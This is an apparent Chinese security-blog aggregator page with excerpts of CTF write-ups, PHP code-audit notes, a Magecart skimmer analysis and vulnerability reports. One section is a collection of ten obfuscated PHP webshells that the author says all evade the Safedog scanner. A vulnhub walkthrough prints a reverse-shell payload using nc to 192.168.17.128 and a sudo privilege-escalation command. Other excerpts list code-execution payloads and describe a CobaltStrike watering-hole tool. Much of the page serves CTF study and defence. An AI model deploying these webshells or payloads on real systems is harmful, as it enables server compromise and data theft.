由一道CTF赛题分析Twig SSTI利用方式 CTF专场

由一道CTF赛题分析Twig SSTI利用方式

前言在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式[email protected]这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)<?phprequire_once "mail/smtp.class.php";require_once "mail/smtp.send.php";require_once "libs/common.func.php";include 'vendor/twig/twig/lib/Twig/Autoloader.php';function mailCheck($s) {    if (preg_match('/\|/|~|&|^|`|*|?/i',$s))   {        alertMes('damn hacker!', './index.php');        return false;   }    if (!preg_match('/libs|smtp|curl|dev|index.php|ftp|backdoor|sh/i', $s) )   {        if (  preg_match_all('/@/', $s) === 1 )       {            $arr = explode('@',$s);            $domain = end($arr);            if (!preg_match('//i', $domain))           {                return true;           }    ...
阅读全文
AoiAWD 系统的安装和配置 SecIN安全技术社区

AoiAWD 系统的安装和配置

最近打了几次AWD比赛,发现手中的工具依然不好用,在github上发现了AoiAWD,AoiAWD 是一个由Aodzip(安恒信息 海特实验室研究员、HAC战队成员)维护的一个针对于CTF AWD模式的开源项目。专为比赛设计,便携性好,低权限运行的EDR系统。想着来配置一下,但是因为文档说明不够清晰,出现了很多问题,踩了很多坑,来记录一下。 下载项目 shell git clone https://github.com/DasSecurity-HatLab/AoiAWD.git PHP环境安装与配置 ```php 安装PHP 7.2 sudo apt-get install software-properties-common sudo add-apt-repository ppa:ondrej/php sudo apt-get update sudo apt-get install -y php7.2 通过apt-get安装PEAR,以获得PEAR和PECL使用的必要包和分配系统。 sudo apt-get install php-pear 安装php7.2-dev软件包以获取必要的PHP7源文件来编译其他模块 sudo apt-get install php7.2-dev 安装php-XML扩展,否则MongoDB无法正常安装 sudo apt-get install php-xml php7.2-xml sudo pecl install mongodb ``` ```shell 修改php.ini文件 vim /etc/php/7.2/cli/php.ini 添加 extension=mongodb.so 修改 ; http://php.net/phar.readonly phar.readonly = off ; http://php.net/phar.require-hash phar.require_hash = off ``` 构建Fronted项目 ```shell sudo apt-get install npm      #安装npm npm config set registry https://registry.npm.taobao.org     #将下载源改为国内, npm cache clean --force cd AoiAWD cd Frontend npm install npm run build ``` 构建AoiAWDcore shell...
阅读全文
文库|PHP的Webshell绕过总结 安全文章

文库|PHP的Webshell绕过总结

高质量的安全文章,安全offer面试经验分享尽在 # 掌控安全EDU #作者:掌控安全-手电筒1.php的异或运算$a="~+d()"^"!{+{}"这个表示了$a=这两个字符串之间进行一个异或运算运算异或运算符,按二进制位进行异或运算这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码通过这个转换的方式来绕过检测<?php$a= ("!"^"@").'ssert';$a($_REQUEST);?>测试可以成功连接2.通过获取注释去绕过<?php/**YXNzZXJ0YmZnZmc=*/class Example{ public function fn() { }}通过一个空的类去获取,$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释$zhushi = substr(($reflector->getDocComment()), 7, 12);然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示//echo $zhushi;$zhushi = base64_decode($zhushi);$zhushi = substr($zhushi, 0, 6);echo $zhushi;foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; print_r($$_request); }}/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容*/$zhushi($_value);//最后就是assert(传入的变量值)?>原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell测试可以成功连接3.利用字符的运算符<?php $__="assers"; ++$__; //echo ++$__; $__($_REQUEST);?>设$__ 为字符串assers,然后对这个字符串进行自增操作这里++是直接对这个字符串里的最后一个字符进行自增操作,得到结果为assert然后去拼接($_REQUEST);,生成shell测试可以正常连接4.通过end函数代替<?php eval(end($_REQUEST));?>这里的end函数的作用是输出数组中当前元素和最后一个元素的值这里由于传参就一个,所以就直接输出我们传参的值,从而可以传入参数,这里就是我们传入参数相当于shell里的传参测试可以正常连接5.通过常量去绕过<?php define("a","$_GET");eval(a);?>这里的关键在于define函数,这个函数的作用是定义一个常量我们这里设置一个常量为a,它的值是$_GET,然后再去eval执行常量a,实际就是eval($_GET);,从而达到绕过的目的测试可以正常连接6.字符串拼接+双美元符<?php $a='ass'; $b='ert'; $funcName=$a.$b; $x='funcName';$$x($_REQUEST);?>这里通过把关键的assert进行分割,然后拼接再通过$$,利用可变变量去执行测试可以正常连接7.通过函数定义绕过<?phpfunction a($a){return $a;}eval(a($_REQUEST));?>这里设置一个用户自定义函数a,当里面有参数时,返回该参数的内容这里shell里的a($_REQUEST) 的实际效果为 a($_REQUEST)相当于是a($a),会返回$a的内容结果为$_REQUEST,最后一行的实际内容为eval($_REQUEST);测试可以正常连接8.通过类定义,然后传参分割<?phpclass User{ public $name = ''; function __destruct(){ eval("$this->name"); }}$user = new User;$user->name = ''.$_REQUEST;?>通过类定义,定义一个类User,设置$name为空,然后设置一个析构函数,脚本运行结束之前会调用对象,然后eval去执行,后面用new函数将对象实例化并输出方法,然后,$user->name这个相当于是$this->name,等于’’.$_REQUEST;最后$user->name = ‘’.$_REQUEST; 相当于eval($_REQUEST)测试可以正常连接9.多传参方式绕过<?php$COOKIE = $_COOKIE;foreach($COOKIE as $key => $value){ if($key=='assert'){ $key($_REQUEST); } }?>这里设置$cookie为获取的cookie传参,这里是个数组,然后通过foreach遍历,再进行键值分离,$key为键,$value为值然后进行一个if判断,当$key为assert时,$key拼接($_REQUEST); 达到生成shell效果测试可以正常连接10.通过get_defined_functions绕过<?php$a=get_defined_functions();$a($_GET);?>这个get_defined_functions函数作用是返回所有已定义的函数,包括内置函数和用户定义的函数,这里通过get_defined_functions得到所有函数,然后通过去访问并调用相应函数,然后后接($_GET),生成shell测试可以正常连接用安全狗进行检测以上方案里的均能过安全狗关于webshell绕过其实还有许多其他的办法,后续学习到了新方法会继续在本文的基础上做补充,再会!回顾往期内容Xray挂机刷漏洞POC批量验证Python脚本编写实战纪实 | SQL漏洞实战挖掘技巧渗透工具 | 红队常用的那些工具分享代码审计 | 这个CNVD证书拿的有点轻松    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!扫码白嫖视频+工具+进群+靶场等资料  扫码白嫖! 还有免费的配套靶场、交流群哦! 本文始发于微信公众号(掌控安全EDU):文库|PHP的Webshell绕过总结
阅读全文
vulnhub-TED靶场过程记录 安全文章

vulnhub-TED靶场过程记录

靶场地址:https://download.vulnhub.com/ted/Ted.7z靶场设置 使用VM打开扫描靶场网段,得到ip地址访问网址是个登陆框扫描目录无果后,开始对登录框进行探索。随便输入个密码后,发现密码或者密码hash错误,尝试多样的密码对比图如下看来密码是admin没错了,然后应该是hash加密后访问。这里耗尽了大量的时间,得出来了结果(还是朋友做出来的,难受)这里使用的是sha256加密,然后加密的字符串,字符转换大写在在线网站进行大小写转换一发入魂获得下一步提示在search存在任意文件读取阅览cookie.php发现回显了文件这里有一个authenticate.php正常读取会出现退出登陆的情况,使用php伪协议读取到了文件源码如下同样的方式读取homeHome文件中有这么一句话$_SESSION = $_COOKIE;任意文件读取到sessions目录第一种写入一句话木马链接蚁剑但是上传不了脚本一时间不知道咋弄了第二种%3C?php%20exec('nc%20192.168.17.128%202222%20-e%20/bin/bash')%20?%3E 反弹nc回到sessions哪里,因为有nc对shell进行升级SHELL=/bin/bash script -q /dev/null然后卡壳,最终解决如下记录如下输入sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"提权 本文始发于微信公众号(渗透云笔记):vulnhub-TED靶场过程记录
阅读全文
代码审计-常见php威胁函数(上) 代码审计

代码审计-常见php威胁函数(上)

常见php回调函数,可调用其他命令/代码执行函数:*call_user_func()call_user_func_array()create_function()array_walk()array_map()array_filter()、usort()ob_start()、可变函数$_GET($_GET)常见php可执行系统命令的函数:system()、passthru()、exec()、shell_exec()、 pcntl_exec()、popen()、proc_open()常见php可代码执行的函数:eval()、assert()、preg_replace()、$禁用危险函数php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数。如:disable_functions =system,passthru,shell_exec,exec,popen一、可执行php代码的函数1.<?php eval($_GET); assert($_GET); ?>php 7.1.7 ,已经无法用call_user_func回调调用 test.php?cmd=phpinfo(); preg_replace() 5.6以下可以执行 5.6以上仍然可以执行,但是会有警告 PHP7后已经不支持/e修饰符 preg_replace(“/test/e”,$_GET,”jutst test”); //将jutst test以/test正则匹配以h来替换 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?h=phpinfo() ${phpinfo()}二、常见php回调函数,可调用其他命令/代码执行函数:1) call_user_func()call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数 <?php1.call_user_func($_GET,$_GET);2.//xxx.php?a1=system&a2=whoami  //命令执行3.//xxx.php?a1=assert&a2=phpinfo()   //代码执行 ?>2) call_user_func_array()call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入1.<?php2.call_user_func_array($_GET,$_GET);3.//xxx.php?a1=system&a2=whoami4.//xxx.php?a1=assert&a2=phpinfo()5.?>3) create_function()创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值1.<?php2.$b=create_function('', @$_REQUEST);$b();3.//xxx.php?a=phpinfo();4.?>4) array_walk()array_walk — 使用用户自定义函数对数组中的每个元素做回调处理1.<?php2.array_walk($_GET,$_GET);3.//xxx.php?a=phpinfo()&b=assert4.//xxx.php?a=whoami&b=system5.?>5) array_map()array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。1.<?php array_map($_GET,$_GET);2.//xxx.php?a=system&b=whoami3.//xxx.php?a=assert&b=phpinfo()4.//$array = array(0,1,2,3,4,5);5.//array_map($_GET,$array);6.//.php?a=phpinfo ?>6) array_filter()array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1.<?php array_filter(array($_GET),$_GET);2.//?func=system&cmd=whoami3.//?func=assert&cmd=phpinfo() ?>7) 可变函数$var(args)PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。1.<?php  $_GET($_GET);2.//xxx.php?a=system&b=whoami3.//xxx?a=assert&b=phpinfo()4.?>8) usort()本函数将用用户自定义的比较函数对一个数组中的值进行排序 php5.6之前可以1.<?php2.usort(...$_GET);3.?>4.payload: 1.php?1=0&1=eval($_POST)&2=assert POST传参: x=phpinfo();9)uasortphp5.6 php7不可以1.<?php2.$a = $_GET;3.$onearray = array('Ameng', $_POST);4.uasort($onearray, $a);5.?>6.payload: 1.php?a=assert POST传参: x=phpinfo();10)ob_startob_start — 打开输出控制缓冲1.<?php $foobar = $_GET;2.ob_start($foobar);3.echo $_GET;4.ob_end_flush(); ?>5./test.php?h=whoami&b=system三、常见php可执行系统命令的函数:1) system()1.<?php system($_GET); //xxx.php?a=whoami ?>2)...
阅读全文
从Zend虚拟机分析PHP加密扩展 逆向工程

从Zend虚拟机分析PHP加密扩展

这次RCTF2019中,我出了一题SourceGuardian解密。和Hook zend_compile_string就能解决php_screw、php-beast等扩展一样,没有对PHP总体的执行流程做出较大更改的扩展,依然有通用的(或是较为通用的)破解方案。这其中,SourceGuardian就是一个例子。这篇文章将从Zend虚拟机的角度来谈这一类加密的破解方案。 这一题的题目和Writeup见:https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/sourceguardian 我们首先需要熟悉PHP代码执行的流程──即,PHP到底是如何加载文件并执行的。PHP代码由于历史原因较为散乱,因此入手点很多。经过分析后,我认为从php-cli入手是一个不错的选择。 https://github.com/php/php-src/blob/php-7.3.5/sapi/cli/php_cli.c#L937 让我们来整理一遍吧。第一步:打开文件句柄,CLI在这里顺便处理以#!/bin/php开头的可执行文件,防止该头被输出。 if (cli_seek_file_begin(&file_handle, script_file, &lineno) != SUCCESS) { 第二步:调用php_execute_script。这个函数同时负责把auto_prepend引入。 php_execute_script(&file_handle); 往下看php_execute_script的代码: https://github.com/php/php-src/blob/7208826fdeb2244136c11a2e3b31948dfac549a3/main/main.c#L2650 它调用了 retval = (zend_execute_scripts(ZEND_REQUIRE, NULL, 3, prepend_file_p, primary_file, append_file_p) == SUCCESS); 往下看zend_execute_scripts,其代码如下: op_array = zend_compile_file(file_handle, type); if (file_handle->opened_path) { zend_hash_add_empty_element(&EG(included_files), file_handle->opened_path); } zend_destroy_file_handle(file_handle); if (op_array) { zend_execute(op_array, retval); 可以看到,有两个关键函数。一个是zend_compile_file,一个是zend_execute。 第三步就由这两个函数负责,我们可以看一下这两个函数的定义 ZEND_API zend_op_array *(*zend_compile_file)(zend_file_handle *file_handle, int type); ZEND_API zend_op_array *(*zend_compile_string)(zval *source_string, char *filename); 如果没有开启任何扩展(包括phar、opcache等)的话,它们指向compile_file和compile_string函数。可以看到,这两个函数的输入一个是文件句柄,一个是代码字符串;而返回则是zend_op_array类型的一个东西。它们的用途是把PHP代码编译成对应的PHP OPCode,是PHP编译代码的入口。绝大多数所谓的PHP加密,包括php-beast等扩展,均没有处理和变形PHP代码的能力,它们做的事情只是把PHP代码本身原样进行加密,之后运行时通过各种方式解密后再调用原始的compile_file函数。因此,在此处输出source_string,就可以拿到原始代码。关于如何Hook这两个函数拿到代码,网上对应的文章实在是汗牛充栋(然而大部分文章还是互相抄,根本不懂别的文章在写些什么),就不再赘述了。 我们已经知道,PHP本身执行的是OPCode而不是PHP代码。如果把这个OPCode缓存起来,不就可以提高效率了吗?这条思路引出了Zend Optimizer,也就是PHP 5.5+的OPCache的前身。它们的实现原理是,Hook这两个函数之后,直接返回它们的编译结果,以避免对PHP文件的重新编译。同样地, vld 扩展也是Hook了这两个地方。这两个地方不仅能取到代码,当然也能自己调用compile_file来得到相应的op_array。这也是我在0CTF 2018使用VLD解出了ezDoor的关键性原因,VLD能够从这个地方取得它需要的OPCode。不过,SourceGuardian并不是那种无聊的扩展,它当然没有调用到这两个函数,VLD等自然也不能用了。 我们关注一下它的流程吧。 zend_compile里调用了zend_compile_top_stmt https://github.com/php/php-src/blob/79f41944babaa4d4ae4f1928fcb999feaf9a48b9/Zend/zend_language_scanner.l#L603 zend_compile_top_stmt里,当检测到有一个函数存在时,就调用zend_compile_func_decl https://github.com/php/php-src/blob/79f41944babaa4d4ae4f1928fcb999feaf9a48b9/Zend/zend_compile.c#L8146 zend_compile_func_decl里,先调用zend_begin_func_decl,把函数名和对应的op_array的地址插入到CG(function_table),再然后编译这个函数内部的内容。 https://github.com/php/php-src/blob/79f41944babaa4d4ae4f1928fcb999feaf9a48b9/Zend/zend_compile.c#L5754 ──因此,只要执行函数,要执行的函数对应的OPCode一定早就在内存里了。那我们要破解这一类的加密,就有两种方案了。下面,我将先介绍第一种方案,即获取正在运行的函数的OPCode。 第四步:调用zend_execute,准备执行OPCode。zend_compile_file返回的op_array即是外部,无任何函数包裹的代码的起始点,从这个点开始执行代码。这个文件因为是由代码生成器生成的,比较大,我直接贴出完整代码,并附上注释:https://raw.githubusercontent.com/php/php-src/php-7.3.5/Zend/zend_vm_execute.h ZEND_API void zend_execute(zend_op_array *op_array, zval *return_value) { zend_execute_data *execute_data; if (EG(exception) != NULL) { return; } execute_data = zend_vm_stack_push_call_frame(ZEND_CALL_TOP_CODE | ZEND_CALL_HAS_SYMBOL_TABLE, (zend_function*)op_array, 0, zend_get_called_scope(EG(current_execute_data)),...
阅读全文
开发简单的PHP混淆器与解混淆器 逆向工程

开发简单的PHP混淆器与解混淆器

最近(被迫)拿到了不少经过混淆的PHP代码样本,尤其是我使用的某个开源软件里面竟然也有被混淆的PHP代码(还有几十个JS后门),导致我不得不把它们都解混淆来检查一下。不过,这些只要20分钟就能写出通用解混淆代码的混淆有什么意义呢? 好想出去玩_(:з」∠)_但出不去,只好在家里应XCTF抗疫赛邀请出题了。但是实在没题出怎么办?恰巧看到Xray的一篇吐槽安全从业人员代码平均开发能力差的文章,考虑到解混淆需要一定的开发能力,不如来用混淆水一题吧…… 顺带一提,本次比赛中,我观赏了一下各个队伍的去混淆脚本,基本上都是正则表达式+黑魔法的写法,根本看不懂…… How?我相信很多人对写一个PHP混淆与去混淆是一头雾水,完全不知道怎么下手的状态,或者除了正则表达式以外就没有思路了。实际上,写混淆器等于写半个编译器。如果你的程序能够正确理解PHP代码中每一个“单词”的意思,那么你的混淆器就基本开发完成一半了。 一个编译器通常分为编译器前端和后端两个部分,编译器前端负责对代码的解析。我们要着眼的也基本就是前端部分。编译过程中的第一步是词法分析,词法分析器读入源程序的字符流,把他们组织成有意义的词素(lexeme);对于每个词素,词法分析器产生对应的词法单元(token)。如果我们使用PHP来开发的话,这个过程不需要我们来做。PHP有一个函数token_get_all,可以直接把PHP代码转换成token数组。 Token?基于token数组,我们可以开发一个简单的变量重命名器: $file = file_get_contents($path); $variable = 0; $map = ; $tokens = token_get_all($file); foreach ($tokens as $token) { if ($token === T_VARIABLE) { if (!isset($map)) { if (!preg_match('/^$+$/', $token)) { $file = str_replace($token, '$v' . $variable++, $file); $map = $variable; } } } } 非常简单,可以将所有由不可见字符组成的变量名改成正常人可读的变量名。 enphp 即是直接基于该数组开发。由于词法分析器并不负责维护每个token之间的关系,enphp不得不维护相当多的状态,导致其后续的开发和维护较为复杂,我们也不会基于这一串token来开发。 编译的第二步是语法分析,由token序列确定语法结构,通常会输出一棵语法树(syntax tree)。PHP是一个成熟的语言,也有一个成熟的解析器。php-parser 可以帮助我们把PHP代码解析成一棵抽象语法树(AST),我们就将基于它来开发。 既然有了能表示代码结构的树,那我们就知道怎么一个正常的混淆器应当怎么开发了: 把原始代码解析成一棵树。遍历树,修改树上的某些节点。将树还原成代码。 练手现在让我们开始吧,php-parser的安装请自行看文档。 我们从最简单的代码变换开始,第一步将 替换成 <?php echo 'Hello World!'; 我们先写一个主体结构: <?php use PhpParserParser; use PhpParserParserFactory; use PhpParserNodeTraverser; use PhpParserNodeVisitorNameResolver; use PhpParserPrettyPrinterStandard; require './vendor/autoload.php'; $parser = (new ParserFactory())->create(ParserFactory::PREFER_PHP7); $ast = $parser->parse(file_get_contents('test/test1.php')); $traverser = new NodeTraverser(); $traverser->addVisitor(new HTMLToEcho($parser)); $ast = $traverser->traverse($ast); $prettyPrinter = new Standard(); $ret =...
阅读全文
Phar与Stream Wrapper造成PHP RCE的深入挖掘 代码审计

Phar与Stream Wrapper造成PHP RCE的深入挖掘

今年的HITCON打完了,沉迷写前端搞Nextjs骚操作的我成功爆0(雾),不想写前端了.jpg。 先跑个题。HITCON 2016上,?出了一道PHP反序列化。HITCON 2017上,?出了一道Phar + PHP反序列化。HITCON 2018上,?出了一道file_get_contents + Phar + PHP反序列化。让我们期待HITCON 2019的操作(雾。 Phar RCE今年HITCON上,baby cake这一题,涉及到了今年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper这个议题,见:https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf 。它的主要内容是,通过phar://协议对一个phar文件进行文件操作,如file_get_contents,就可以触发反序列化,从而达成RCE的效果。 在文章开头部分,让我先对phar反序列化做一些小小的分析。我们直接阅读PHP源码。在 phar.c#L618 处,其调用了php_var_unserialize。 if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { 因此可以构造一个特殊的phar包,使得攻击代码能够被反序列化,从而构造一个POP链。这一部分已经太常见了,CTF比赛中都出烂了,没什么值得继续讨论的。值得关注的是到底为什么file_get_contents能够实现RCE。 Stream API因此,为解决这个问题,我们需要首先阅读此函数的源码。大概在此处:https://github.com/php/php-src/blob/PHP-7.2.11/ext/standard/file.c#L548 ,重点关注此行: stream = php_stream_open_wrapper_ex(filename, "rb", (use_include_path ? USE_PATH : 0) | REPORT_ERRORS, NULL, context); 可以注意,其使用的是php_stream系列API来打开一个文件。阅读PHP的这篇文档:Streams API for PHP Extension Authors,可知,Stream API是PHP中一种统一的处理文件的方法,并且其被设计为可扩展的,允许任意扩展作者使用。而本次事件的主角,也就是phar这个扩展,其就注册了phar://这个stream wrapper。可以使用stream_get_wrapper看到系统内注册了哪一些wrapper,但其余的没什么值得关注的。 php > var_dump(stream_get_wrappers()); array(12) { => string(5) "https" => string(4) "ftps" => string(13) "compress.zlib" => string(14) "compress.bzip2" => string(3) "php" => string(4) "file" => string(4) "glob" => string(4) "data" => string(4) "http" => string(3) "ftp" => string(4) "phar" =>...
阅读全文
一个联动CobaltStrike的水坑攻击程序 安全工具

一个联动CobaltStrike的水坑攻击程序

通常情况下在进行水坑攻击的时候,会劫持对方网页挂上木马诱导目标下载安装,但是有时候目标上线以后,攻击人员没有及时清理劫持的文件,有可能会导致目标起疑心,所以写了这个小工具,联动CobaltStrike,当对方主机上线以后,页面劫持会自动消失.index.php 是演示页面实际攻击的时候把页面里的内容插入到对方Web页面,记得修改第8行的URL指向自己的ip.phpip.php 是用来判断用户IP的使用的时候记得修改第7行的账号密码server.php 是用来接受CobaltStrike发来的IP地址的使用的时候记得修改第13行的账号密码test.php 是钓鱼劫持端会记录下对方的访问信息以及点击信息,并写入到当前目录的output.txtfish.cna 是CobaltStrike的插件使用的时候把第23行的URL修改指向自己的server.phpajax.js 是劫持页面使用的时候修改第1的URL为自己的test.php,修改第2行的URL为自己的木马地址,190行的base64后的图片,191/192行的文字实际使用建议将ajax.js以及木马文件丢到对方的服务器项目地址:https://github.com/HolyGu/watering-hole/releases同时插播个小广告,团队小伙伴创建的知识星球,干货多多~ 本文始发于微信公众号(NearSec):一个联动CobaltStrike的水坑攻击程序
阅读全文
4h入门PHP代码审计之反序列化 代码审计

4h入门PHP代码审计之反序列化

代码审计顾名思义就是对源代码进行检查,寻找代码中的bug和安全缺陷,检查PHP源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。  序列化就是把实体对象状态按照一定的格式写入到有序字节流,当要用到时就通过反序列化来重建对象,恢复对象状态,这样就可以很方便的存取数据和传输数据。 但是这对我们小白来说,可能就是一个“代码审计之从入门到放弃”的悲惨故事,为了满足广大用户的需求,我们最新推出《4h入门PHP代码审计之反序列化》在线课程,帮你快速掌握PHP的调试技巧及反序列化EXP的编写,实战中“避坑”!课程简介很多人难以入门PHP代码调试、难以入门的Thinkphp5框架反序列化或是在学习的过程中走弯路,本课程可以解决这些问题。从0到1的反序列化,通过此课程,学员可以入门代码审计,并掌握PHP代码审计的技巧。技术储备(1)了解本地网站的搭建(2)简单理解PHP语言(3)了解Web安全讲师介绍张登旸(Yang_99)0RAYS战队主力web手,曾获D^3CTF第五名,XCTF-final优胜奖,全国大学生信息安全竞赛二等奖等。课程目录第一章 环境安装课时一  vscode课时二  phpstrom 第二章  PHP反序列化漏洞讲解课时一  原生类课时二  trick课时三  PHP魔术方法课时四  POP链挖掘课时五  反序列化字符串逃逸课时六  Phar反序列化 第三章  含有命名空间的POP链课时一  CL4(1)课时二  CL4(2)课时三  CL4(3)课时四  CL4(4)课时五  Thinkphp1课时六  Thinkphp2课时七  Thinkphp3课时八  Laravel立即报名扫一扫,128元即可解锁精品课程注意:报名成功后请添加工作人员微信:kanxuecom,备注课程名称即可进入课程群摸索不到PHP代码调试技巧?4h带你快速入门,实战中避坑实现思维方式+动手能力的跃迁快来加入课程学习吧~一步一步积累技能后,你总会无坚不摧的。  点击阅读原文即可购买 原文始发于微信公众号(看雪学院):4h入门PHP代码审计之反序列化
阅读全文
恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续 逆向工程

恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续

概述Web skimming对于在线商城和网购用户来说,仍然是一种非常严重的安全威胁。在这一领域,从普通业余爱好者,到国家级别的黑客组织(比如说Lazarus),网络犯罪分子的复杂程度各不相同。在安全方面,许多电子商务网站仍然容易受到攻击,因为它们多年来都没有升级过他们的内容管理软件(CMS)。我们今天看到的活动是关于一些Magento1网站的,而这些网站已经被一个非常活跃的skimmer组织所入侵了。通过分析后我们发现,去年秋天被发现的Magecart Group 12就是Magento 1攻击事件背后的始作俑者,而这个组织现在仍在继续传播新的恶意软件。网络犯罪分子会利用这些被称为Smilodon或Megalodon的Wen Shell并通过服务器端请求将JavaScript skimming代码加动态加载进在线商城站点中。这种技术非常有意思,因为大多数客户端安全工具都无法检测或阻止skimmer。Web Shell以favicon的形式隐藏在对Magento 1网站使用网络爬虫进行分析时,我们检测到了一个伪装成favicon图标的新型恶意软件。其中,文件名为Magento.png的文件会尝试将其以“image/png”传递,但该文件并没有正确的合法图像文件PNG格式内容。恶意软件可以将合法图标快捷方式标签图换成伪造PNG文件的路径,来实现针对目标站点的入侵。跟使用伪造favicon图标文件来隐藏恶意JavaScript代码的攻击事件不同,这种攻击方式最终将实现一个PHP Web Shell。但是,当前网络犯罪分子所实现的这个PHP脚本并不能被正确加载。Web Shell是一种非常流行的恶意软件类型,它允许攻击者实现针对目标主机的远程访问和管理,它们通常会在攻击者利用漏洞实现针对目标主机的入侵之后加载进一台Web服务器中。为了对这个Web Shell进行深入分析,我们将其进行了反向解码。我们看到,它会从一台域名为zoloow的外部主机获取数据。在对m1_2021_force目录进行深入分析之后,我们发现了专门针对信用卡数据窃取的专用代码。其中的数据提取部分与[email protected]研究员在今年三月份于WordPress网站(Smilodon恶意软件)上发现的内容相符,后者还可以窃取用户凭证数据:下面给出的是SanSec报告的类似的PHP文件(Mage.php):在针对Mageto 1EOL攻击事件进行分析时,SamSec之前还报告过类似的路径/文件名:这意味着,我们当时和现在可能正在研究相同的威胁因素,我们可以通过研究正在使用的基础设施来确认这一点。Magecart Group 12因为我们在Magento 1.x网站上发现了favicon Webshell,所以我们认为可能与去年发现的Magento 1分支(不再维护)漏洞攻击事件有关。RiskIQ记录了这些攻击事件,并将其与当时的Magecart Group 12联系起来。我们发现的最新域名(zolopw)恰好与先前Magecart Group 12关联的域recaptcha-inpw和google statikpw托管在相同的IP地址(217.12.204185)上。动态加载的skimmer现在有很多方法可以加载skimming代码,但最常见的就是通过调用外部JavaScript资源来实现。当一个客户访问一个在线商店时,他们的浏览器会向一个托管skimmer的域发出请求。尽管犯罪分子会不断扩展他们的基础设施,但对于那些使用域/IP数据库的skimmer来说,阻止和屏蔽还是相对容易的。相比之下,本文所介绍的skimmer会将代码动态地注入到商家网站中。向托管skimming代码的恶意域发送请求的是服务器端,而不是客户端。这样一来,除非所有被入侵的在线商城都被加入黑名单,否则这将导致基于数据库的屏蔽方法将行不通。一种更有效、但也更复杂且容易出现误报的方法是实时检查DOM,并检测何时加载了恶意代码。入侵威胁指标IoCfacedookhostpathcspacepredatorhostgoogle-statikpwrecaptcha-inpwsexrurapwzolopwkermopwpsaspwpathcspacepredatorhostgooogletagmanageronlineimagspwy5msautocapitalpwmyiconsnetqr202754pwthesunpwredornspacezebornpwgoogletagmanagrcomautocapitalpwhttppsxxx-clubpwy5ms1951232171821712204185831662412058316624210583166244113831662441528316624418983[email protected][email protected]@ramblerru精彩推荐 本文始发于微信公众号(FreeBuf):恶意软件分析:基于PHP的skimmer表明Magecart活动仍在继续
阅读全文
Kyan 网络监控设备 run.php 远程命令执行漏洞 安全漏洞

Kyan 网络监控设备 run.php 远程命令执行漏洞

一:漏洞描述🐑Kyan 网络监控设备 run.php可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞,可以获取服务器权限,存在远程命令执行漏洞二:  漏洞影响🐇Kyan 网络监控设备三:  漏洞复现🐋title="platform - Login"登录页面如下使用 Gobuster扫描文件其中 run.php 文件内容为<?php require_once 'functions.php';require_once 'international.php';session_start();auth_check();print_html_begin('run');?><body link="#000000" vlink="#000000" alink="#000000" bgcolor="#FFFFFF"><form method="post"><table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="100%" id="AutoNumber1" height="25" bordercolor="#000000"> <tr> <td width="100%" height="25" bgcolor="#FCFEBA"> <p align="center"><font face="Verdana" size="2"> Shell Execute </font></td> </tr> <tr> <td width="100%" height="25" bgcolor="#FCFEBA"> <div align="center"> <textarea name="command" rows="2" cols="100" ><?php echo $_POST; ?> </textarea> </div></td> </tr> <tr> <td width="100%" height="25" bgcolor="#FCFEBA"> <div align="center"> <input type="submit" value="Execute"> </div></td> </tr> <tr> <td width="100%" height="25" bgcolor="#FCFEBA"> <div align="center"> <textarea name="textarea" cols="100" rows="50" readonly><?php @$output = system(trim($_POST)); ?> </textarea> </div></td> </tr></table></form></body> <?phpprint_html_end(); ?> 四:  关于文库🦉    在线文库:http://wiki.peiqi.tech    Github:https://github.com/PeiQi0/PeiQi-WIKI-POC最后下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号想要加入交流群的师傅公众号点击交流群加我拉你啦~别忘了Github下载完给个小星星⭐同时知识星球也开放运营啦,希望师傅们支持支持啦🐟知识星球里会持续发布一些漏洞公开信息和技术文章~由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。 本文始发于微信公众号(PeiQi文库):Kyan 网络监控设备...
阅读全文